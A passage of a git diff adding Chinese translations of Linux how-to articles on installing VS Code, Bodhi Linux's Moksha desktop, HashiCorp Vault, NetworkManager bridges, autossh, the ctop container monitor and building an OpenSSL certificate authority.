Make。虽然Ubuntu Make存在Ubuntu15.04官方库中,**但是需要Ubuntu Make 0.7以上版本才能安装Visual Studio**。所以,需要通过官方PPA更新到最新的Ubuntu Make。此PPA支持Ubuntu 14.04, 14.10 和 15.04。 + +注意,**仅支持64位版本**。 + +打开终端,使用下列命令,通过官方PPA来安装Ubuntu Make: + + sudo add-apt-repository ppa:ubuntu-desktop/ubuntu-make + sudo apt-get update + sudo apt-get install ubuntu-make + +安装Ubuntu Make完后,接着使用下列命令安装Visual Studio Code: + + umake web visual-studio-code + +安装过程中,将会询问安装路径,如下图: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/05/Visual_Studio_Code_Ubuntu_1.jpeg) + +在抛出一堆要求和条件后,它会询问你是否确认安装Visual Studio Code。输入‘a’来确定: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/05/Visual_Studio_Code_Ubuntu_2.jpeg) + +确定之后,安装程序会开始下载并安装。安装完成后,你可以发现Visual Studio Code 图标已经出现在了Unity启动器上。点击图标开始运行!下图是Ubuntu 15.04 Unity的截图: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/05/Visual_Studio_Code_Ubuntu.jpeg) + +### 卸载Visual Studio Code### + +卸载Visual Studio Code,同样使用Ubuntu Make命令。如下: + + umake web visual-studio-code --remove + +如果你不打算使用Ubuntu Make,也可以通过微软官方下载安装文件。 + +- [下载Visual Studio Code Linux版][4] + +怎样!是不是超级简单就可以安装Visual Studio Code,这都归功于Ubuntu Make。我希望这篇文章能帮助到你。如果您有任何问题或建议,欢迎给我留言。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/install-visual-studio-code-ubuntu/ + +作者:[Abhishek][a] +译者:[Vic020/VicYu](http://vicyu.net) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ +[1]:https://linux.cn/article-5376-1.html +[2]:https://wiki.ubuntu.com/ubuntu-make +[3]:http://itsfoss.com/install-android-studio-ubuntu-linux/ +[4]:https://code.visualstudio.com/Download diff --git a/published/201505/20150505 Bodhi Linux Introduces Moksha Desktop.md b/published/201505/20150505 Bodhi Linux Introduces Moksha Desktop.md new file mode 100644 index 0000000000..dcb724e7b1 --- /dev/null +++ b/published/201505/20150505 Bodhi Linux Introduces Moksha Desktop.md @@ -0,0 +1,40 @@ +Bodhi Linux 将引入 Moksha 桌面 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/05/Bodhi_Linux.jpg) + +基于Ubuntu的轻量级Linux发行版[Bodhi Linux][1]致力于构建其自家的桌面环境,这个全新桌面环境被称之为Moksha(梵文意为‘完全自由’)。Moksha将替换其原来的[Enlightenment桌面环境][2]。 + +### 为何用Moksha替换Englightenment? ### + +Bodhi Linux的Jeff Hoogland最近[表示][3]了他对新版Enlightenment的不满。直到E17,Enlightenment都十分稳定,并且能满足轻量级Linux的部署需求。而E18则到处都充满了问题,Bodhi Linux只好弃之不用了。 + +虽然最新的[Bodhi Linux 3.0发行版][4]仍然使用了E19作为其桌面(除传统模式外,这意味着,对于旧的硬件,仍然会使用E17),Jeff对E19也十分不满。他说道: + +> 除了性能问题外,对于我个人而言,E19并没有给我带来与E17下相同的工作流程,因为它移除了很多E17的特性。鉴于此,我不得不将我所有的3台Bodhi计算机桌面改成E17——这3台机器都是我高端的了。这不由得让我想到,我们还有多少现存的Bodhi用户也怀着和我同样的感受,所以,我[在我们的用户论坛上开启一个与此相关的讨论][5]。 + +### Moksha是E17桌面的延续 ### + +Moksha将会是Bodhi所热衷的E17桌面的延续。Jeff进一步提到: + +> 我们将从整合所有Bodhi修改开始。多年来我们一直都只是给源代码打补丁,并修复桌面所带有的问题。如果该工作完成,我们将开始移植一些E18和E19引入的更为有用的特性,最后,我们将引入一些我们认为会改善最终用户体验的东西。 + +### Moksha何时发布? ### + +下一个Bodhi更新将会是Bodhi 3.1.0,就在今年八月。这个新版本将为所有其默认安装镜像带来Moksha。让我们拭目以待,看看Moksha是否是一个好的决定。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/bodhi-linux-introduces-moksha-desktop/ + +作者:[Abhishek][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ +[1]:http://www.bodhilinux.com/ +[2]:https://www.enlightenment.org/ +[3]:http://www.bodhilinux.com/2015/04/28/introducing-the-moksha-desktop/ +[4]:http://itsfoss.com/bodhi-linux-3/ +[5]:http://forums.bodhilinux.com/index.php?/topic/12322-e17-vs-e19-which-are-you-using-and-why/ diff --git a/published/201505/20150506 How to Securely Store Passwords and Api Keys Using Vault.md b/published/201505/20150506 How to Securely Store Passwords and Api Keys Using Vault.md new file mode 100644 index 0000000000..e2073d0b18 --- /dev/null +++ b/published/201505/20150506 How to Securely Store Passwords and Api Keys Using Vault.md @@ -0,0 +1,164 @@ +如何使用Vault安全的存储密码和API密钥 +======================================================================= +Vault是用来安全的获取秘密信息的工具,它可以保存密码、API密钥、证书等信息。Vault提供了一个统一的接口来访问秘密信息,其具有健壮的访问控制机制和丰富的事件日志。 + +对关键信息的授权访问是一个困难的问题,尤其是当有许多用户角色,并且用户请求不同的关键信息时,例如用不同权限登录数据库的登录配置,用于外部服务的API密钥,SOA通信的证书等。当保密信息由不同的平台进行管理,并使用一些自定义的配置时,情况变得更糟,因此,安全的存储、管理审计日志几乎是不可能的。但Vault为这种复杂情况提供了一个解决方案。 + +### 突出特点 ### + +**数据加密**:Vault能够在不存储数据的情况下对数据进行加密、解密。开发者们便可以存储加密后的数据而无需开发自己的加密技术,Vault还允许安全团队自定义安全参数。 + +**安全密码存储**:Vault在将秘密信息(API密钥、密码、证书)存储到持久化存储之前对数据进行加密。因此,如果有人偶尔拿到了存储的数据,这也没有任何意义,除非加密后的信息能被解密。 + +**动态密码**:Vault可以随时为AWS、SQL数据库等类似的系统产生密码。比如,如果应用需要访问AWS S3 桶,它向Vault请求AWS密钥对,Vault将给出带有租期的所需秘密信息。一旦租用期过期,这个秘密信息就不再存储。 + +**租赁和更新**:Vault给出的秘密信息带有租期,一旦租用期过期,它便立刻收回秘密信息,如果应用仍需要该秘密信息,则可以通过API更新租用期。 + +**撤销**:在租用期到期之前,Vault可以撤销一个秘密信息或者一个秘密信息树。 + +### 安装Vault ### + +有两种方式来安装使用Vault。 + +**1. 预编译的Vault二进制** 能用于所有的Linux发行版,下载地址如下,下载之后,解压并将它放在系统PATH路径下,以方便调用。 + +- [下载预编译的二进制 Vault (32-bit)][1] +- [下载预编译的二进制 Vault (64-bit)][2] +- [下载预编译的二进制 Vault (ARM)][3] + +![wget binary](http://blog.linoxide.com/wp-content/uploads/2015/04/wget-binary.png) + +*下载相应的预编译的Vault二进制版本。* + +![vault](http://blog.linoxide.com/wp-content/uploads/2015/04/unzip.png) + +*解压下载到本地的二进制版本。* + +祝贺你!您现在可以使用Vault了。 + +![](http://blog.linoxide.com/wp-content/uploads/2015/04/vault.png) + +**2. 从源代码编译**是另一种在系统中安装Vault的方式。在安装Vault之前需要安装GO和GIT。 + +在 **Redhat系统中安装GO** 使用下面的指令: + + sudo yum install go + +在 **Debin系统中安装GO** 使用下面的指令: + + sudo apt-get install golang + +或者 + + sudo add-apt-repository ppa:gophers/go + + sudo apt-get update + + sudo apt-get install golang-stable + +在 **Redhat系统中安装GIT** 使用下面的命令: + + sudo yum install git + +在 **Debian系统中安装GIT** 使用下面的命令: + + sudo apt-get install git + +一旦GO和GIT都已被安装好,我们便可以开始从源码编译安装Vault。 + +> 将下列的Vault仓库拷贝至GOPATH + + https://github.com/hashicorp/vault + +> 测试下面的文件是否存在,如果它不存在,那么Vault没有被克隆到合适的路径。 + + $GOPATH/src/github.com/hashicorp/vault/main.go + +> 执行下面的指令来编译Vault,并将二进制文件放到系统bin目录下。 + + make dev + +![path](http://blog.linoxide.com/wp-content/uploads/2015/04/installation4.png) + +### 一份Vault入门教程 ### + +我们已经编制了一份Vault的官方交互式教程,并带有它在SSH上的输出信息。 + +**概述** + +这份教程包括下列步骤: + +- 初始化并启封您的Vault +- 在Vault中对您的请求授权 +- 读写秘密信息 +- 密封您的Vault + +#### **初始化您的Vault** + +首先,我们需要为您初始化一个Vault的工作实例。在初始化过程中,您可以配置Vault的密封行为。简单起见,现在使用一个启封密钥来初始化Vault,命令如下: + + vault init -key-shares=1 -key-threshold=1 + +您会注意到Vault在这里输出了几个密钥。不要清除您的终端,这些密钥在后面的步骤中会使用到。 + +![Initializing SSH](http://blog.linoxide.com/wp-content/uploads/2015/04/Initializing-SSH.png) + +#### **启封您的Vault** + +当一个Vault服务器启动时,它是密封的状态。在这种状态下,Vault被配置为知道物理存储在哪里及如何存取它,但不知道如何对其进行解密。Vault使用加密密钥来加密数据。这个密钥由"主密钥"加密,主密钥不保存。解密主密钥需要入口密钥。在这个例子中,我们使用了一个入口密钥来解密这个主密钥。 + + vault unseal + +![Unsealing SSH](http://blog.linoxide.com/wp-content/uploads/2015/04/Unsealing-SSH.png) + +####**为您的请求授权** + +在执行任何操作之前,连接的客户端必须是被授权的。授权的过程是检验一个人或者机器是否如其所申明的那样具有正确的身份。这个身份用在向Vault发送请求时。为简单起见,我们将使用在步骤2中生成的root令牌,这个信息可以回滚终端屏幕看到。使用一个客户端令牌进行授权: + + vault auth + +![Authorize SSH](http://blog.linoxide.com/wp-content/uploads/2015/04/Authorize-SSH.png) + +####**读写保密信息** + +现在Vault已经被设置妥当,我们可以开始读写默认挂载的秘密后端里面的秘密信息了。写在Vault中的秘密信息首先被加密,然后被写入后端存储中。后端存储机制绝不会看到未加密的信息,并且也没有在Vault之外解密的需要。 + + vault write secret/hello value=world + +当然,您接下来便可以读这个保密信息了: + + vault read secret/hello + +![RW_SSH](http://blog.linoxide.com/wp-content/uploads/2015/04/RW_SSH.png) + +####**密封您的Vault** + +还有一个用I来密封Vault的API。它将丢掉现在的加密密钥并需要另一个启封过程来恢复它。密封仅需要一个拥有root权限的操作者。这是一种罕见的"打破玻璃过程"的典型部分。 + +这种方式中,如果检测到一个入侵,Vault数据将会立刻被锁住,以便最小化损失。如果不能访问到主密钥碎片的话,就不能再次获取数据。 + + vault seal + +![Seal Vault SSH](http://blog.linoxide.com/wp-content/uploads/2015/04/Seal-Vault-SSH.png) + +这便是入门教程的结尾。 + +### 总结 ### + +Vault是一个非常有用的应用,它提供了一个可靠且安全的存储关键信息的方式。另外,它在存储前加密关键信息、审计日志维护、以租期的方式获取秘密信息,且一旦租用期过期它将立刻收回秘密信息。Vault是平台无关的,并且可以免费下载和安装。要发掘Vault的更多信息,请访问其[官方网站][4]。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/how-tos/secure-secret-store-vault/ + +作者:[Aun Raza][a] +译者:[wwy-hust](https://github.com/wwy-hust) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunrz/ +[1]:https://dl.bintray.com/mitchellh/vault/vault_0.1.0_linux_386.zip +[2]:https://dl.bintray.com/mitchellh/vault/vault_0.1.0_linux_amd64.zip +[3]:https://dl.bintray.com/mitchellh/vault/vault_0.1.0_linux_arm.zip +[4]:https://vaultproject.io/ diff --git a/published/201505/20150506 Linux FAQs with Answers--How to configure a Linux bridge with Network Manager on Ubuntu.md b/published/201505/20150506 Linux FAQs with Answers--How to configure a Linux bridge with Network Manager on Ubuntu.md new file mode 100644 index 0000000000..b1ff96e30b --- /dev/null +++ b/published/201505/20150506 Linux FAQs with Answers--How to configure a Linux bridge with Network Manager on Ubuntu.md @@ -0,0 +1,86 @@ +Linux 有问必答:如何在Ubuntu上配置网桥 +=============================================================================== +> **Question**: 我需要在我的Ubuntu主机上建立一个Linux网桥,共享一个网卡给其他一些虚拟主机或在主机上创建的容器。我目前正在Ubuntu上使用网络管理器(Network Manager),所以最好>能使用网络管理器来配置一个网桥。我该怎么做? + +网桥是一个硬件装备,用来将两个或多个数据链路层(OSI七层模型中第二层)互联,以使得不同网段上的网络设备可以互相访问。当你想要互联一个主机里的多个虚拟机器或者以太接口时,就需要在Linux主机里有一个类似桥接的概念。这里使用的是一种软网桥。 + +有很多的方法来配置一个Linux网桥。举个例子,在一个无外接显示/键盘的服务器环境里,你可以使用[brct][1]手动地配置一个网桥。而在桌面环境下,在网络管理器里也支持网桥设置。那就让我们测试一下如何用网络管理器配置一个网桥吧。 + +### 要求 ### + +为了避免[任何问题][2],建议你的网络管理器版本为0.9.9或者更高,它用在 Ubuntu 15.04或者更新的版本。 + + $ apt-cache show network-manager | grep Version + +---------- + + Version: 0.9.10.0-4ubuntu15.1 + Version: 0.9.10.0-4ubuntu15 + +### 创建一个网桥 ### + +使用网络管理器创建网桥最简单的方式就是通过nm-connection-editor。这款GUI(图形用户界面)的工具允许你傻瓜式地配置一个网桥。 + +首先,启动nm-connection-editor。 + + $ nm-connection-editor + +该编辑器的窗口会显示给你一个列表,列出目前配置好的网络连接。点击右上角的“添加”按钮,创建一个网桥。 + +![](https://farm9.staticflickr.com/8781/17139502730_c3ca920f7f.jpg) + +接下来,选择“Bridge”(网桥)作为连接类型。 + +![](https://farm9.staticflickr.com/8873/17301102406_4f75133391_z.jpg) + +现在,开始配置网桥,包括它的名字和所桥接的连接。如果没有创建过其他网桥,那么默认的网桥接口会被命名为bridge0。 + +回顾一下,创建网桥的目的是为了通过网桥共享你的以太网卡接口,所以你需要添加以太网卡接口到网桥。在图形界面添加一个新的“桥接的连接”可以实现上述目的。点击“Add”按钮。 + +![](https://farm9.staticflickr.com/8876/17327069755_52f1d81f37_z.jpg) + +选择“以太网”作为连接类型。 + +![](https://farm9.staticflickr.com/8832/17326664591_632a9001da_z.jpg) + +在“设备的 MAC 地址”区域,选择你想要从属于网桥的接口。本例中,假设该接口是eth0。 + +![](https://farm9.staticflickr.com/8842/17140820559_07a661f30c_z.jpg) + +点击“常规”标签,并且选中两个复选框,分别是“当其可用时自动连接到该网络”和“所有用户都可以连接到该网络”。 + +![](https://farm8.staticflickr.com/7776/17325199982_801290e172_z.jpg) + +切换到“IPv4 设置”标签,为网桥配置DHCP或者是静态IP地址。注意,你应该为从属的以太网卡接口eth0使用相同的IPv4设定。本例中,我们假设eth0是用过DHCP配置的。因此,此处选择“自动(DHCP)”。如果eth0被指定了一个静态IP地址,那么你也应该指定相同的IP地址给网桥。 + +![](https://farm8.staticflickr.com/7737/17140820469_99955cf916_z.jpg) + +最后,保存网桥的设置。 + +现在,你会看见一个新增的网桥连接被创建在“网络连接”窗口里。因为已经从属与网桥,以前配置好的有线连接 eth0 就不再需要了,所以去删除原来的有线连接吧。 + +![](https://farm9.staticflickr.com/8700/17140820439_272a6d5c4e.jpg) + +这时候,网桥连接会被自动激活。从指定给eth0的IP地址被网桥接管起,你将会暂时丢失一下连接。当IP地址赋给了网桥,你将会通过网桥连接回你的以太网卡接口。你可以通过“Network”设置确认一下。 + +![](https://farm8.staticflickr.com/7742/17325199902_9ceb67ddc1_c.jpg) + +同时,检查可用的接口。提醒一下,网桥接口必须已经取代了任何你的以太网卡接口拥有的IP地址。 + +![](https://farm8.staticflickr.com/7717/17327069605_6143f1bd6a_b.jpg) + +就这么多了,现在,网桥已经可以用了。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/configure-linux-bridge-network-manager-ubuntu.html + +作者:[Dan Nanni][a] +译者:[wi-cuckoo](https://github.com/wi-cuckoo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni +[1]:http://xmodulo.com/how-to-configure-linux-bridge-interface.html +[2]:https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1273201 diff --git a/published/201505/20150506 Linux FAQs with Answers--How to install autossh on Linux.md b/published/201505/20150506 Linux FAQs with Answers--How to install autossh on Linux.md new file mode 100644 index 0000000000..3fa2cf8a86 --- /dev/null +++ b/published/201505/20150506 Linux FAQs with Answers--How to install autossh on Linux.md @@ -0,0 +1,76 @@ +Linux有问必答:如何安装autossh +================================================================================ +> **提问**: 我打算在linux上安装autossh,我应该怎么做呢? + +[autossh][1] 是一款开源工具,可以帮助管理SSH会话、自动重连和停止转发流量。autossh会假定目标主机已经设定[无密码SSH登陆][2],以便autossh可以重连断开的SSH会话而不用用户操作。 + +只要你建立[反向SSH隧道][3]或者[挂载基于SSH的远程文件夹][4],autossh迟早会派上用场。基本上只要需要维持SSH会话,autossh肯定是有用的。 + +![](https://farm8.staticflickr.com/7786/17150854870_63966e78bc_c.jpg) + +下面有许多linux发行版autossh的安装方法。 + +### Debian 或 Ubuntu 系统 ### + +autossh已经加入基于Debian系统的基础库,所以可以很方便的安装。 + + $ sudo apt-get install autossh + +### Fedora 系统 ### + +Fedora库同样包含autossh包,使用yum安装。 + + $ sudo yum install autossh + +### CentOS 或 RHEL 系统 ### + +CentOS/RHEL 6 或早期版本, 需要开启第三库[Repoforge库][5], 然后才能使用yum安装. + + $ sudo yum install autossh + +CentOS/RHEL 7以后,autossh 已经不在Repoforge库中. 你需要从源码编译安装(例子在下面)。 + +### Arch Linux 系统 ### + + $ sudo pacman -S autossh + +### Debian 或 Ubuntu 系统中从源码编译安装### + +如果你想要使用最新版本的autossh,你可以自己编译源码安装 + + $ sudo apt-get install gcc make + $ wget http://www.harding.motd.ca/autossh/autossh-1.4e.tgz + $ tar -xf autossh-1.4e.tgz + $ cd autossh-1.4e + $ ./configure + $ make + $ sudo make install + +### CentOS, Fedora 或 RHEL 系统中从源码编译安装### + +在CentOS/RHEL 7以后,autossh不在是预编译包。所以你不得不从源码编译安装。 + + $ sudo yum install wget gcc make + $ wget http://www.harding.motd.ca/autossh/autossh-1.4e.tgz + $ tar -xf autossh-1.4e.tgz + $ cd autossh-1.4e + $ ./configure + $ make + $ sudo make install + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/install-autossh-linux.html + +作者:[Dan Nanni][a] +译者:[Vic020/VicYu](http://vicyu.net) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni +[1]:http://www.harding.motd.ca/autossh/ +[2]:https://linux.cn/article-5444-1.html +[3]:http://xmodulo.com/access-linux-server-behind-nat-reverse-ssh-tunnel.html +[4]:http://xmodulo.com/how-to-mount-remote-directory-over-ssh-on-linux.html +[5]:http://xmodulo.com/how-to-set-up-rpmforge-repoforge-repository-on-centos.html diff --git a/published/201505/20150507 Command Line Tool to Monitor Linux Containers Performance.md b/published/201505/20150507 Command Line Tool to Monitor Linux Containers Performance.md new file mode 100644 index 0000000000..161e030c11 --- /dev/null +++ b/published/201505/20150507 Command Line Tool to Monitor Linux Containers Performance.md @@ -0,0 +1,185 @@ +监控 Linux 容器性能的命令行神器 +================================================================================ +ctop是一个新的基于命令行的工具,它可用于在容器层级监控进程。容器通过利用控制器组(cgroup)的资源管理功能,提供了操作系统层级的虚拟化环境。该工具从cgroup收集与内存、CPU、块输入输出的相关数据,以及拥有者、开机时间等元数据,并以人性化的格式呈现给用户,这样就可以快速对系统健康状况进行评估。基于所获得的数据,它可以尝试推测下层的容器技术。ctop也有助于在低内存环境中检测出谁在消耗大量的内存。 + +### 功能 ### + +ctop的一些功能如下: + +- 收集CPU、内存和块输入输出的度量值 +- 收集与拥有者、容器技术和任务统计相关的信息 +- 通过任意栏对信息排序 +- 以树状视图显示信息 +- 折叠/展开cgroup树 +- 选择并跟踪cgroup/容器 +- 选择显示数据刷新的时间窗口 +- 暂停刷新数据 +- 检测基于systemd、Docker和LXC的容器 +- 基于Docker和LXC的容器的高级特性 + - 打开/连接shell以进行深度诊断 + - 停止/杀死容器类型 + +### 安装 ### + +**ctop**是由Python写成的,因此,除了需要Python 2.6或其更高版本外(带有内建的光标支持),别无其它外部依赖。推荐使用Python的pip进行安装,如果还没有安装pip,请先安装,然后使用pip安装ctop。 + +*注意:本文样例来自Ubuntu(14.10)系统* + + $ sudo apt-get install python-pip + +使用pip安装ctop: + + poornima@poornima-Lenovo:~$ sudo pip install ctop + + [sudo] password for poornima: + + Downloading/unpacking ctop + + Downloading ctop-0.4.0.tar.gz + + Running setup.py (path:/tmp/pip_build_root/ctop/setup.py) egg_info for package ctop + + Installing collected packages: ctop + + Running setup.py install for ctop + + changing mode of build/scripts-2.7/ctop from 644 to 755 + + changing mode of /usr/local/bin/ctop to 755 + + Successfully installed ctop + + Cleaning up... + +如果不选择使用pip安装,你也可以使用wget直接从github安装: + + poornima@poornima-Lenovo:~$ wget https://raw.githubusercontent.com/yadutaf/ctop/master/cgroup_top.py -O ctop + + --2015-04-29 19:32:53-- https://raw.githubusercontent.com/yadutaf/ctop/master/cgroup_top.py + + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 199.27.78.133 + + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|199.27.78.133|:443... connected. + + HTTP request sent, awaiting response... 200 OK Length: 27314 (27K) [text/plain] + + Saving to: ctop + + 100%[======================================>] 27,314 --.-K/s in 0s + + 2015-04-29 19:32:59 (61.0 MB/s) - ctop saved [27314/27314] + +---------- + + poornima@poornima-Lenovo:~$ chmod +x ctop + +如果cgroup-bin包没有安装,你可能会碰到一个错误消息,你可以通过安装需要的包来解决。 + + poornima@poornima-Lenovo:~$ ./ctop + + [ERROR] Failed to locate cgroup mountpoints. + + poornima@poornima-Lenovo:~$ sudo apt-get install cgroup-bin + +下面是ctop的输出样例: + +![ctop screen](http://blog.linoxide.com/wp-content/uploads/2015/05/ctop.png) + +*ctop屏幕* + +### 用法选项 ### + + ctop [--tree] [--refresh=] [--columns=] [--sort-col=] [--follow=] [--fold=, ...] ctop (-h | --help) + +当你进入ctop屏幕,可使用上(↑)和下(↓)箭头键在容器间导航。点击某个容器就选定了该容器,按q或Ctrl+C退出该容器。 + +现在,让我们来看看上面列出的那一堆选项究竟是怎么用的吧。 + +**-h / --help - 显示帮助信息** + + poornima@poornima-Lenovo:~$ ctop -h + Usage: ctop [options] + + Options: + -h, --help show this help message and exit + --tree show tree view by default + --refresh=REFRESH Refresh display every + --follow=FOLLOW Follow cgroup path + --columns=COLUMNS List of optional columns to display. Always includes + 'name' + --sort-col=SORT_COL Select column to sort by initially. Can be changed + dynamically. + + +**--tree - 显示容器的树形视图** + +默认情况下,会显示列表视图 + +当你进入ctop窗口,你可以使用F5按钮在树状/列表视图间切换。 + +**--fold= - 在树形视图中折叠名为 \ 的 cgroup 路径** + +该选项需要与 --tree 选项组合使用。 + +例子: ctop --tree --fold=/user.slice + +![Output of 'ctop --fold'](http://blog.linoxide.com/wp-content/uploads/2015/05/ctop-fold.png) + +*'ctop --fold'的输出* + +在ctop窗口中,使用+/-键来展开或折叠子cgroup。 + +注意:在写本文时,pip仓库中还没有最新版的ctop,还不支持命令行的‘--fold’选项 + +**--follow= - 跟踪/高亮 cgroup 路径** + +例子: ctop --follow=/user.slice/user-1000.slice + +正如你在下面屏幕中所见到的那样,带有“/user.slice/user-1000.slice”路径的cgroup被高亮显示,这让用户易于跟踪,就算显示位置变了也一样。 + +![Output of 'ctop --follow'](http://blog.linoxide.com/wp-content/uploads/2015/05/ctop-follow.png) + +*'ctop --follow'的输出* + +你也可以使用‘f’按钮来让高亮的行跟踪选定的容器。默认情况下,跟踪是关闭的。 + +**--refresh= - 按指定频率刷新显示,默认1秒** + +这对于按每用户需求来显示改变刷新率时很有用。使用‘p’按钮可以暂停刷新并选择文本。 + +**--columns= - 限定只显示选定的列。'name' 需要是第一个字段,其后跟着其它字段。默认情况下,字段包括:owner, processes,memory, cpu-sys, cpu-user, blkio, cpu-time** + +例子: ctop --columns=name,owner,type,memory + +![Output of 'ctop --column'](http://blog.linoxide.com/wp-content/uploads/2015/05/ctop-column.png) + +*'ctop --column'的输出* + +**-sort-col= - 按指定的列排序。默认使用 cpu-user 排序** + +例子: ctop --sort-col=blkio + +如果有Docker和LXC支持的额外容器,跟踪选项也是可用的: + + press 'a' - 接驳到终端输出 + + press 'e' - 打开容器中的一个 shell + + press 's' - 停止容器 (SIGTERM) + + press 'k' - 杀死容器 (SIGKILL) + +目前 Jean-Tiare Le Bigot 还在积极开发 [ctop][1] 中,希望我们能在该工具中见到像本地 top 命令一样的特性 :-) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/how-tos/monitor-linux-containers-performance/ + +作者:[B N Poornima][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/bnpoornima/ +[1]:https://github.com/yadutaf/ctop diff --git a/published/201505/20150511 OpenSSL command line Root and Intermediate CA including OCSP, CRL and revocation.md b/published/201505/20150511 OpenSSL command line Root and Intermediate CA including OCSP, CRL and revocation.md new file mode 100644 index 0000000000..9bd388f67c --- /dev/null +++ b/published/201505/20150511 OpenSSL command line Root and Intermediate CA including OCSP, CRL and revocation.md @@ -0,0 +1,406 @@ +建立你自己的 CA 服务:OpenSSL 命令行 CA 操作快速指南 +================================================================================ + +这些是关于使用 OpenSSL 生成证书授权(CA)、中间证书授权和末端证书的速记随笔,内容包括 OCSP、CRL 和 CA 颁发者信息,以及指定颁发和有效期限等。 + +我们将建立我们自己的根 CA,我们将使用根 CA 来生成一个中间 CA 的例子,我们将使用中间 CA 来签署末端用户证书。 + +### 根 CA ### + +创建根 CA 授权目录并切换到该目录: + + mkdir ~/SSLCA/root/ + cd ~/SSLCA/root/ + +为我们的根 CA 生成一个8192位长的 SHA-256 RSA 密钥: + + openssl genrsa -aes256 -out rootca.key 8192 + +样例输出: + + Generating RSA private key, 8192 bit long modulus + .........++ + ....................................................................................................................++ + e is 65537 (0x10001) + +如果你想要用密码保护该密钥,请添加 `-aes256` 选项。 + +创建自签名根 CA 证书 `ca.crt`;你需要为你的根 CA 提供一个身份: + + openssl req -sha256 -new -x509 -days 1826 -key rootca.key -out rootca.crt + +样例输出: + + You are about to be asked to enter information that will be incorporated + into your certificate request. + What you are about to enter is what is called a Distinguished Name or a DN. + There are quite a few fields but you can leave some blank + For some fields there will be a default value, + If you enter '.', the field will be left blank. + ----- + Country Name (2 letter code) [AU]:NL + State or Province Name (full name) [Some-State]:Zuid Holland + Locality Name (eg, city) []:Rotterdam + Organization Name (eg, company) [Internet Widgits Pty Ltd]:Sparkling Network + Organizational Unit Name (eg, section) []:Sparkling CA + Common Name (e.g. server FQDN or YOUR name) []:Sparkling Root CA + Email Address []: + +创建一个存储 CA 序列的文件: + + touch certindex + echo 1000 > certserial + echo 1000 > crlnumber + +放置 CA 配置文件,该文件持有 CRL 和 OCSP 末端的存根。 + + # vim ca.conf + [ ca ] + default_ca = myca + + [ crl_ext ] + issuerAltName=issuer:copy + authorityKeyIdentifier=keyid:always + + [ myca ] + dir = ./ + new_certs_dir = $dir + unique_subject = no + certificate = $dir/rootca.crt + database = $dir/certindex + private_key = $dir/rootca.key + serial = $dir/certserial + default_days = 730 + default_md = sha1 + policy = myca_policy + x509_extensions = myca_extensions + crlnumber = $dir/crlnumber + default_crl_days = 730 + + [ myca_policy ] + commonName = supplied + stateOrProvinceName = supplied + countryName = optional + emailAddress = optional + organizationName = supplied + organizationalUnitName = optional + + [ myca_extensions ] + basicConstraints = critical,CA:TRUE + keyUsage = critical,any + subjectKeyIdentifier = hash + authorityKeyIdentifier = keyid:always,issuer + keyUsage = digitalSignature,keyEncipherment,cRLSign,keyCertSign + extendedKeyUsage = serverAuth + crlDistributionPoints = @crl_section + subjectAltName = @alt_names + authorityInfoAccess = @ocsp_section + + [ v3_ca ] + basicConstraints = critical,CA:TRUE,pathlen:0 + keyUsage = critical,any + subjectKeyIdentifier = hash + authorityKeyIdentifier = keyid:always,issuer + keyUsage = digitalSignature,keyEncipherment,cRLSign,keyCertSign + extendedKeyUsage = serverAuth + crlDistributionPoints = @crl_section + subjectAltName = @alt_names + authorityInfoAccess = @ocsp_section + + [alt_names] + DNS.0 = Sparkling Intermidiate CA 1 + DNS.1 = Sparkling CA Intermidiate 1 + + [crl_section] + URI.0 = http://pki.sparklingca.com/SparklingRoot.crl + URI.1 = http://pki.backup.com/SparklingRoot.crl + + [ocsp_section] + caIssuers;URI.0 = http://pki.sparklingca.com/SparklingRoot.crt + caIssuers;URI.1 = http://pki.backup.com/SparklingRoot.crt + OCSP;URI.0 = http://pki.sparklingca.com/ocsp/ + OCSP;URI.1 = http://pki.backup.com/ocsp/ + +如果你需要设置某个特定的证书生效/过期日期,请添加以下内容到`[myca]`: + + # format: YYYYMMDDHHMMSS + default_enddate = 20191222035911 + default_startdate = 20181222035911 + +### 创建中间 CA### + +生成中间 CA (名为 intermediate1)的私钥: + + openssl genrsa -out intermediate1.key 4096 + +生成中间 CA 的 CSR: + + openssl req -new -sha256 -key intermediate1.key -out intermediate1.csr + +样例输出: + + You are about to be asked to enter information that will be incorporated + into your certificate request. + What you are about to enter is what is called a Distinguished Name or a DN. + There are quite a few fields but you can leave some blank + For some fields there will be a default value, + If you enter '.', the field will be left blank. + ----- + Country Name (2 letter code) [AU]:NL + State or Province Name (full name) [Some-State]:Zuid Holland + Locality 